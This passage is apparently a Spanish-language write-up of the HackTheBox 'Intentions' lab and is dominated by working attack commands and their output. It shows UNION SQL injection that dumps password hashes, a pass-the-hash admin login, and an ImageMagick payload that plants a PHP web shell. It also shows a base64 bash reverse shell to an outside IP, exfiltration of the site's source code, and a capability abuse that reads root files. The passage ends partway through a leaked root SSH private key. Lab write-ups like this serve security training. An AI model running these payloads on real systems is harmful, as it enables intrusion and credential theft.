AjAc-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg"},{"id":11,"file":"public\/food\/dan-9-f4enU0AY0-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/dan-9-f4enU0AY0-unsplash.jpg"},{"id":12,"file":"public\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg"},{"id":13,"file":"public\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg"},{"id":14,"file":"public\/food\/rod-long--LMw-y4gxac-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/rod-long--LMw-y4gxac-unsplash.jpg"},{"id":15,"file":"public\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg"},{"id":16,"file":"public\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg"},{"id":17,"file":"public\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg"},{"id":18,"file":"public\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg"},{"id":19,"file":"public\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg"}]}
Usemos consultas UNION
para enumerar la base de datos (union 1
, union 1,2
, … hasta que no haya errores). Al final, descubrimos que la tabla tiene 5 columnas:
$ sqli "') union select 1,2,3,4,5 or ('1'='1"
{"status":"success","data":[{"id":1,"file":"2","genre":"3","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:01.000000Z","url":"\/storage\/2"}]}
Usemos jq
y el campo file
para exfiltrar la información:
$ sqli "') union select 1,1337,3,4,5 or ('1'='1" | jq
{
"status": "success",
"data": [
{
"id": 1,
"file": "1337",
"genre": "3",
"created_at": "1970-01-01T00:00:04.000000Z",
"updated_at": "1970-01-01T00:00:01.000000Z",
"url": "/storage/2"
}
]
}
$ sqli "') union select 1,1337,3,4,5 or ('1'='1" | jq -r '.data[0].file'
1337
Comencemos con la información básica de la base de datos:
$ sqli "') union select 1,version(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
10.6.12-MariaDB-0ubuntu0.22.04.1
$ sqli "') union select 1,user(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
laravel@localhost
$ sqli "') union select 1,database(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
intentions
El usuario llamado laravel
parece prometedor… tal vez la aplicación back-end está construida con Laravel (un framework de PHP).
Por el momento, vamos a volcar la base de datos. Estas son las tablas disponibles:
$ sqli "') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='intentions'),3,4,5 or ('1'='1" | jq -r '.data[0].file'
gallery_images,personal_access_tokens,migrations,users
Veamos qué hay en la tabla de users
:
$ sqli "') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='intentions'),3,4,5 or ('1'='1" | jq -r '.data[0].file'
id,name,email,password,created_at,updated_at,admin,genres
Muy bien, vamos a volcar esta tabla:
$ sqli "') union select 1,(select group_concat(concat(admin,0x20,email,0x20,password,0x0a)) from users),3,4,5 or ('1'='1" | jq -r '.data[0].file'
1 steve@intentions.htb $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa
,1 greg@intentions.htb $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m
,0 hettie.rutherford@example.org $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6
,0 nader.alva@example.org $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2
,0 jones.laury@example.com $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae
,0 wanda93@example.org $2y$10$oKGH6f8KdEblk6hzkqa2meqyDeiy5gOSSfMeygzoFJ9d1eqgiD2rW
,0 mwisoky@example.org $2y$10$pAMvp3xPODhnm38lnbwPYuZN0B/0nnHyTSMf1pbEoz6Ghjq.ecA7.
,0 lura.zieme@example.org $2y$10$.VfxnlYhad5YPvanmSt3L.5tGaTa4/dXv1jnfBVCpaR2h.SDDioy2
,0 pouros.marcus@example.net $2y$10$UD1HYmPNuqsWXwhyXSW2d.CawOv1C8QZknUBRgg3/Kx82hjqbJFMO
,0 mellie.okon@example.com $2y$10$4nxh9pJV0HmqEdq9sKRjKuHshmloVH1eH0mSBMzfzx/kpO/XcKw1m
,0 trace94@example.net $2y$10$by.sn.tdh2V1swiDijAZpe1bUpfQr6ZjNUIkug8LSdR2ZVdS9bR7W
,0 kayleigh18@example.com $2y$10$9Yf1zb0jwxqeSnzS9CymsevVGLWIDYI4fQRF5704bMN8Vd4vkvvHi
,0 tdach@example.com $2y$10$UnvH8xiHiZa.wryeO1O5IuARzkwbFogWqE7x74O1we9HYspsv9b2.
,0 lindsey.muller@example.org $2y$10$yUpaabSbUpbfNIDzvXUrn.1O8I6LbxuK63GqzrWOyEt8DRd0ljyKS
,0 tschmidt@example.org $2y$10$01SOJhuW9WzULsWQHspsde3vVKt6VwNADSWY45Ji33lKn7sSvIxIm
,0 murray.marilie@example.com $2y$10$I7I4W5pfcLwu3O/wJwAeJ.xqukO924Tx6WHz1am.PtEXFiFhZUd9S
,0 barbara.goodwin@example.com $2y$10$0fkHzVJ7paAx0rYErFAtA.2MpKY/ny1.kp/qFzU22t0aBNJHEMkg2
,0 maggio.lonny@example.org $2y$10$p.QL52DVRRHvSM121QCIFOJnAHuVPG5gJDB/N2/lf76YTn1FQGiya
,0 chackett@example.org $2y$10$GDyg.hs4VqBhGlCBFb5dDO6Y0bwb87CPmgFLubYEdHLDXZVyn3lUW
,0 layla.swift@example.net $2y$10$Gy9v3MDkk5cWO40.H6sJ5uwYJCAlzxf/OhpXbkklsHoLdA8aVt3Ei
,0 rshanahan@example.net $2y$10$/2wLaoWygrWELes242Cq6Ol3UUx5MmZ31Eqq91Kgm2O8S.39cv9L2
,0 shyatt@example.com $2y$10$k/yUU3iPYEvQRBetaF6GpuxAwapReAPUU8Kd1C0Iygu.JQ/Cllvgy
,0 sierra.russel@example.com $2y$10$0aYgz4DMuXe1gm5/aT.gTe0kgiEKO1xf/7ank4EW1s6ISt1Khs8Ma
,0 ferry.erling@example.com $2y$10$iGDL/XqpsqG.uu875Sp2XOaczC6A3GfO5eOz1kL1k5GMVZMipZPpa
,0 beryl68@example.org $2y$10$stXFuM4ct/eKhUfu09JCVOXCTOQLhDQ4CFjlIstypyRUGazqmNpCa
,0 ellie.moore@example.net $2y$10$NDW.r.M5zfl8yDT6rJTcjemJb0YzrJ6gl6tN.iohUugld3EZQZkQy
,0 littel.blair@example.org $2y$10$S5pjACbhVo9SGO4Be8hQY.Rn87sg10BTQErH3tChanxipQOe9l7Ou
,0 asdf@asdf.com $2y$10$7dKQJxrAGL8.rQXGtAs3NuNavuICIlaSKD9VMm3n.3GdPoTKFJ.Ba
,0 fdsa@asdf.com $2y$10$hIADcactVwH6Kg7Mb4fIfeXvExAeKkwc3T04yEnKgSELdfy.WgOmW
Genial, tenemos muchos usuarios y hashes de contraseñas. Podemos tratar de romper los hashes, pero son hashes de Bcrypt, que son muy difíciles de romper en términos de potencia computacional.
Pass the Hash
De hecho, recordemos que el inicio de sesión de v2
requiere un campo hash
y no una contraseña en texto claro… Vamos a verlo:
$ curl 10.10.11.220/api/v2/auth/login -id '{"email":"steve@intentions.htb","hash":"$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa"}' -H 'Content-Type: application/json'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache, private
Date:
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNjg4NjAxNjQxLCJleHAiOjE2ODg2MjMyNDEsIm5iZiI6MTY4ODYwMTY0MSwianRpIjoicnpXTTRLSjg4WXVqaHk4cyIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.jN8_e263_pWhVUWrDDM1htQNtG7MoPYgE2ec5jG9n84
X-RateLimit-Limit: 3600
X-RateLimit-Remaining: 3597
Access-Control-Allow-Origin: *
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNjg4NjAxNjQxLCJleHAiOjE2ODg2MjMyNDEsIm5iZiI6MTY4ODYwMTY0MSwianRpIjoicnpXTTRLSjg4WXVqaHk4cyIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.jN8_e263_pWhVUWrDDM1htQNtG7MoPYgE2ec5jG9n84; expires=Thu, 06-Jul-2023 06:00:41 GMT; Max-Age=21600; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
{"status":"success","name":"steve"}
Con esto, tenemos una cookie de sesión válida para steve
(el token JWT), que tiene el campo admin
en 1
. Si agregamos la cookie al navegador, entraremos en el perfil de steve
:
Después de una suposición rápida, podemos intentar acceder a /admin
y se nos redirige a esta página:
Hay una nota sobre por qué el desarrollador de API v2
pensó que autenticarse con un hash en lugar de una contraseña era una buena idea. De todos modos, como admin
tenemos acceso a la lista de todos los usuarios y todas las imágenes cargadas:
Tenemos la oportunidad de jugar con las imágenes:
Si usamos Burp Suite, veremos estas peticiones y respuestas:
Podemos intentar ver si el servidor lee archivos arbitrarios como /etc/passwd
:
Pero también podemos probar si el servidor puede obtener archivos remotos:
¡Y lo es!
$ nc -nlvp 80
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.220:46004.
GET /asdf HTTP/1.1
Host: 10.10.14.242
Connection: close
^C
Ejecución remota de comandos
Podemos intentar cargar un archivo PHP en el servidor, pero parece que el archivo no se guarda si no es un archivo de imagen.
Después de un poco de investigación, descubrimos que si ImageMagick se usa por detrás, podríamos escribir archivos arbitrarios en la máquina. Esto puede llevar a escribir código PHP y luego decirle al servidor que lo ejecute para obtener RCE. El exploit previsto se puede encontrar en swarm.ptsecurity.com. Este implica cargar el siguiente documento XML:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_GET['c']); ?>" />
<write filename="info:/var/www/html/intentions/storage/shell.php" />
</image>
Como se puede ver, estamos tratando de escribir <?php system($_GET['c']); ?>
en un archivo PHP en una carpeta pública del servidor para obtener RCE. Este es un esquema VID, que indica a ImageMagick que procese otros archivos y realice las acciones especificadas en el documento XML.
Una petición/respuesta exitosa se puede ver a continuación:
Y con esto conseguimos RCE:
$ curl '10.10.11.220/storage/shell.php?c=whoami'
caption:www-data
CAPTION 120x120 120x120+0+0 16-bit sRGB 4.480u 0:05.425
Consigamos una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl '10.10.11.220/storage/shell.php?c=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.220:44940.
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
www-data@intentions:~/html/intentions/storage/app/public$ cd
cd
www-data@intentions:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@intentions:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@intentions:~$ export TERM=xterm
www-data@intentions:~$ export SHELL=bash
www-data@intentions:~$ stty rows 50 columns 158
Enumeración del sistema
Como www-data
no hay mucho que hacer. Podemos ver que hay más usuarios de bajos privilegios:
www-data@intentions:~$ ls /home
greg legal steven
Además, podemos ver que hay un directorio llamado scanner
en /opt
que pertenece al grupo scanner
. Los usuarios legal
y greg
pertenecen a este grupo:
www-data@intentions:~$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Jun 10 15:14 .
drwxr-xr-x 18 root root 4096 Jun 19 13:34 ..
drwxr-x--- 2 root scanner 4096 Jun 19 11:26 scanner
www-data@intentions:~$ grep scanner /etc/group
scanner:x:1003:greg,legal
En este punto, debemos echar un vistazo al código fuente del servidor web:
www-data@intentions:~$ pwd
/var/www
www-data@intentions:~$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 1 14:52 .
drwxr-xr-x 13 root root 4096 Jun 16 11:11 ..
drwxr-xr-x 3 root root 4096 Feb 2 17:55 html
www-data@intentions:~$ ls -la html/
total 12
drwxr-xr-x 3 root root 4096 Feb 2 17:55 .
drwxr-xr-x 3 root root 4096 Feb 1 14:52 ..
drwxr-xr-x 14 root root 4096 Feb 2 17:55 intentions
www-data@intentions:~$ ls -la html/intentions/
total 820
drwxr-xr-x 14 root root 4096 Feb 2 17:55 .
drwxr-xr-x 3 root root 4096 Feb 2 17:55 ..
-rw-r--r-- 1 root root 1068 Feb 2 17:38 .env
drwxr-xr-x 8 root root 4096 Feb 3 00:51 .git
-rw-r--r-- 1 root root 3958 Apr 12 2022 README.md
drwxr-xr-x 7 root root 4096 Apr 12 2022 app
-rwxr-xr-x 1 root root 1686 Apr 12 2022 artisan
drwxr-xr-x 3 root root 4096 Apr 12 2022 bootstrap
-rw-r--r-- 1 root root 1815 Jan 29 19:58 composer.json
-rw-r--r-- 1 root root 300400 Jan 29 19:58 composer.lock
drwxr-xr-x 2 root root 4096 Jan 29 19:26 config
drwxr-xr-x 5 root root 4096 Apr 12 2022 database
-rw-r--r-- 1 root root 1629 Jan 29 20:17 docker-compose.yml
drwxr-xr-x 534 root root 20480 Jan 30 23:38 node_modules
-rw-r--r-- 1 root root 420902 Jan 30 23:38 package-lock.json
-rw-r--r-- 1 root root 891 Jan 30 23:38 package.json
-rw-r--r-- 1 root root 1139 Jan 29 19:15 phpunit.xml
drwxr-xr-x 5 www-data www-data 4096 Jul 5 20:40 public
drwxr-xr-x 7 root root 4096 Jan 29 19:58 resources
drwxr-xr-x 2 root root 4096 Jun 19 11:22 routes
-rw-r--r-- 1 root root 569 Apr 12 2022 server.php
drwxr-xr-x 5 www-data www-data 4096 Jul 5 12:43 storage
drwxr-xr-x 4 root root 4096 Apr 12 2022 tests
drwxr-xr-x 45 root root 4096 Jan 29 19:58 vendor
-rw-r--r-- 1 root root 722 Feb 2 17:46 webpack.mix.js
Como de costumbre, debemos buscar credenciales en texto claro para conexiones de bases de datos, archivos de configuración, variables de entorno… tal vez se pueden descubrir otras vulnerabilidades leyendo el código fuente.
Además, hay un directorio .git
. Entonces, el código fuente de PHP se gestiona con un repositorio de Git. Desde esta shell, tendremos algunos problemas para enumerar el repositorio de Git:
www-data@intentions:~$ cd html/intentions/
www-data@intentions:~/html/intentions$ git log
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:
git config --global --add safe.directory /var/www/html/intentions
www-data@intentions:~/html/intentions$ git status
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:
git config --global --add safe.directory /var/www/html/intentions
Por lo tanto, una buena idea es comprimir el directorio del servidor web y transferirlo a nuestra máquina:
www-data@intentions:~/html/intentions$ cd ..
www-data@intentions:~/html$ tar cfz /tmp/intentions.tar.gz intentions/
www-data@intentions:~/html$ cd /tmp
www-data@intentions:/tmp$ file intentions.tar.gz
intentions.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 374579200
www-data@intentions:/tmp$ ls -lh --time-style=+ intentions.tar.gz
-rw-r--r-- 1 www-data www-data 192M intentions.tar.gz
www-data@intentions:/tmp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /intentions.tar.gz HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ wget -q 10.10.11.220:8000/intentions.tar.gz
$ tar xfz intentions.tar.gz
$ cd intentions
Movimiento lateral al usuario greg
En este punto, podemos usar git
para enumerar el repositorio. Por ejemplo, comencemos a enumerar ramas y commits:
$ git branch
* master
$ git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date: Mon Jan 30 15:29:12 2023 +0100
Fix webpack for production
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date: Thu Jan 26 09:21:52 2023 +0100
Test cases did not work on steve's local database, switching to user factory per his advice
commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date: Wed Jan 25 20:45:12 2023 +0100
Adding test cases for the API!
commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd
Author: steve <steve@intentions.htb>
Date: Fri Jan 20 14:19:32 2023 +0100
Initial v2 commit
Al leer uno de los commits, podemos encontrar una contraseña en texto claro para el usuario greg
(Gr3g1sTh3B3stDev3l0per!1998!
):
diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
new file mode 100644
index 0000000..f57e37b
--- /dev/null
+++ b/tests/Feature/Helper.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace Tests\Feature;
+use Tests\TestCase;
+use App\Models\User;
+use Auth;
+class Helper extends TestCase
+{
+ public static function getToken($test, $admin = false) {
+ if($admin) {
+ $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+ return $res->headers->get('Authorization');
+ }
+ else {
+ $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+ return $res->headers->get('Authorization');
+ }
+ }
+}
(END)
Y esta contraseña funciona para conectarse a través de SSH:
$ ssh greg@10.10.11.220
greg@10.10.11.220's password:
$ bash
greg@intentions:~$ cat user.txt
645f9b8661b3482d3c1ffd2faa83ec66
Escalada de privilegios
Recordemos que ahora pertenecemos al grupo scanner
:
greg@intentions:~$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
Entonces, podemos acceder a archivos en /opt/scanner
:
greg@intentions:~$ find / -group scanner 2>/dev/null
/opt/scanner
/opt/scanner/scanner
greg@intentions:~$ file /opt/scanner/scanner
/opt/scanner/scanner: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=a7sTitVjvr1qc4Ngg3jt/LY6QPsAiDYUOHaK7gUXN/5aWVPmSwER6KHrDxGzr4/SUP48whD2UTLJ-Q2kLmf, stripped
greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.
This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.
The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.
Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}
-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h
Además, hay algunos archivos interesantes en el directorio personal que se refieren a /opt/scanner/scanner
también:
greg@intentions:~$ ll
total 60
drwxr-x--- 5 greg greg 4096 Jul 6 00:51 ./
drwxr-xr-x 5 root root 4096 Jun 10 14:56 ../
lrwxrwxrwx 1 root root 9 Jun 19 13:09 .bash_history -> /dev/null
-rw-r--r-- 1 greg greg 220 Feb 2 18:10 .bash_logout
-rw-r--r-- 1 greg greg 3771 Feb 2 18:10 .bashrc
drwx------ 2 greg greg 4096 Jun 10 15:18 .cache/
-rwxr-x--- 1 root greg 75 Jun 10 17:33 dmca_check.sh*
-rwxr----- 1 root greg 11044 Jun 10 15:31 dmca_hashes.test*
drwx------ 3 greg greg 4096 Jul 5 20:07 .gnupg/
drwxrwxr-x 3 greg greg 4096 Jun 10 15:26 .local/
-rw-r--r-- 1 greg greg 807 Feb 2 18:10 .profile
-rw------- 1 greg greg 12 Jul 5 12:53 .python_history
-rw-r----- 1 root greg 33 Jul 5 07:29 user.txt
-rw-r--r-- 1 greg greg 39 Jun 14 10:18 .vimrc
greg@intentions:~$ cat dmca_check.sh
/opt/scanner/scanner -d /home/legal/uploads -h /home/greg/dmca_hashes.test
greg@intentions:~$ head dmca_hashes.test
DMCA-#5133:218a61dfdebf15292a94c8efdd95ee3c
DMCA-#4034:a5eff6a2f4a3368707af82d3d8f665dc
DMCA-#7873:7b2ad34b92b4e1cb73365fe76302e6bd
DMCA-#2901:052c4bb8400a5dc6d40bea32dfcb70ed
DMCA-#9112:0def227f2cdf0bb3c44809470f28efb6
DMCA-#9564:b58b5d64a979327c6068d447365d2593
DMCA-#8997:26c3660f8051c384b63ba40ea38bfc72
DMCA-#2247:4a705343f961103c567f98b808ee106d
DMCA-#6455:1db4f2c6e897d7e2684ffcdf7d907bb3
DMCA-#9245:ae0e837a5492c521965fe1a32792e3f3
Lectura de archivos como root
El binario /opt/scanner/scanner
parece prometedor, pero no es SUID, y no podemos ejecutarlo con sudo
. Sin embargo, podemos enumerar las capabilities y descubrir que el binario tiene CAP_DAC_READ_SEARCH
activada, que nos permite leer cualquier archivo como root
:
greg@intentions:~$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/opt/scanner/scanner cap_dac_read_search=ep
La herramienta toma un archivo y calcula un hash MD5 que luego se compara con una lista de hashes para encontrar coincidencias. Podemos establecer el número de bytes para leer del archivo con -l
.
Hay muchas opciones, pero solo usé -l
, -c
y -h
para el proceso de explotación. -c
es para indicar el archivo sobre el que calcular el hash MD5, y -h
se usa para especificar un archivo que contiene una descripción y un hash separado por dos puntos (:
), que se utiliza para verificar las coincidencias.
La forma en la que resolví este pequeño reto es un poco exagerada, ya que el programa tiene más opciones que pueden hacerlo más fácil. De todos modos, esta es la idea: podemos tener una longitud dada de un archivo y verificarlo con hashes precomputados. Podemos precomputar el hash de todos los caracteres imprimibles, luego pedirle al binario que calcule el hash del primer byte de un archivo y luego verifique ese hash con nuestra lista de hashes precomputados para encontrar el carácter. Después, agregamos otro carácter variable a la lista de hashes precomputados y continuamos el proceso hasta que se encuentren todos los caracteres del archivo.
Aquí tenemos una prueba de concepto (con solo -l
, -c
y -h
):
greg@intentions:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
greg@intentions:~$ cd /tmp
greg@intentions:/tmp$ echo -n r | md5sum
4b43b0aee35624cd95b910189b3dc231 -
greg@intentions:/tmp$ echo r:4b43b0aee35624cd95b910189b3dc231 > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 1 -c /etc/passwd -h /tmp/hashes
[+] r matches /etc/passwd
greg@intentions:/tmp$ echo -n ro | md5sum
3605c251087b88216c9bca890e07ad9c -
greg@intentions:/tmp$ echo o:3605c251087b88216c9bca890e07ad9c > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 2 -c /etc/passwd -h /tmp/hashes
[+] o matches /etc/passwd
greg@intentions:/tmp$ echo -n roo | md5sum
6606afc4c696fa1b4f0f68408726649d -
greg@intentions:/tmp$ echo o:6606afc4c696fa1b4f0f68408726649d > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 3 -c /etc/passwd -h /tmp/hashes
[+] o matches /etc/passwd
greg@intentions:/tmp$ echo -n root | md5sum
63a9f0ea7bb98050796b649e85481845 -
greg@intentions:/tmp$ echo t:63a9f0ea7bb98050796b649e85481845 > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 4 -c /etc/passwd -h /tmp/hashes
[+] t matches /etc/passwd
Espero que esté claro que estamos encontrando el siguiente carácter del archivo. Con este proceso, podemos leer /root/root.txt
, /etc/shadow
y /root/.ssh/id_rsa
, que son útiles para la escalada de privilegios. El proceso anterior debe ser automatizado; para eso, decidí escribir un programa en C llamado get_file.c
(explicación detallada aquí).
Una vez compilado, podemos transferirlo a la máquina y obtener la clave privada de SSH id_rsa
del usuario root
:
$ gcc get_file.c -lcrypto -s -static -O3 -o get_file
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.220 - - [] "GET /get_file HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
greg@intentions:/tmp$ wget -q 10.10.17.44/get_file
greg@intentions:/tmp$ chmod +x get_file
greg@intentions:/tmp$ ./get_file
[!] Usage: ./get_file <file-to-read>
greg@intentions:/tmp$ cd /opt/scanner
greg@intentions:/opt/scanner$ /tmp/get_file /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5yMuiPaWPr6P0GYiUi5EnqD8QOM9B7gm2lTHwlA7FMw95/wy8JW3
HqEMYrWSNpX2HqbvxnhOBCW/uwKMbFb4LPI+EzR6eHr5vG438EoeGmLFBvhge54WkTvQyd
vk6xqxjypi3PivKnI2Gm+BWzcMi6kHI+NLDUVn7aNthBIg9OyIVwp7LXl3cgUrWM4StvYZ
ZyGpITFR/1KjaCQjLDnshZO7OrM/PLWdyipq2yZtNoB57kvzbPRpXu7ANbM8wV3cyk/OZt
0LZdhfMuJsJsFLhZufADwPVRK1B0oMjcnljhUuVvYJtm8Ig/8fC9ZEcycF69E+nBAiDuUm
kDAhdj0ilD63EbLof4rQmBuYUQPy/KMUwGujCUBQKw3bXdOMs/jq6n8bK7ERcHIEx6uTdw
gE6WlJQhgAp6hT7CiINq34Z2CFd9t2x1o24+JOAQj9JCubRa1fOMFs8OqEBiGQHmOIjmUj
7x17Ygwfhs4O8AQDvjhizWop/7Njg7Xm7ouxzoXdAAAFiJKKGvOSihrzAAAAB3NzaC1yc2
EAAAGBAOcjLoj2lj6+j9BmIlIuRJ6g/EDjPQe4JtpUx8JQOxTMPef8MvCVtx6hDGK1kjaV
9h6m78Z4TgQlv7sCjGxW+CzyPhM0enh6+bxuN/BKHhpixQb4YHueFpE70Mnb5OsasY8qYt
z4rypyNhpvgVs3DIupByPjSw1FZ+2jbYQSIPTsiFcKey15d3IFK1jOErb2GWchqSExUf9S
o2gkIyw57IWTuzqzPzy1ncoqatsmbTaAee5L82z0aV7uwDWzPMFd3MpPzmbdC2XYXzLibC
bBS4WbnwA8D1UStQdKDI3J5Y4VLlb2CbZvCIP/HwvWRHMnBevRPpwQIg7lJpAwIXY9IpQ+
txGy6H+K0JgbmFED8vyjFMBrowlAUCsN213TjLP46up/GyuxEXByBMerk3cIBOlpSUIYAK
eoU+woiDat+GdghXfbdsdaNuPiTgEI/SQrm0WtXzjBbPDqhAYhkB5jiI5lI+8de2IMH4bO
DvAEA744Ys1qKf+zY4O15u6Lsc6F3QAAAAMBAAEAAAGABGD0S8gMhE97LUn3pC7RtUXPky
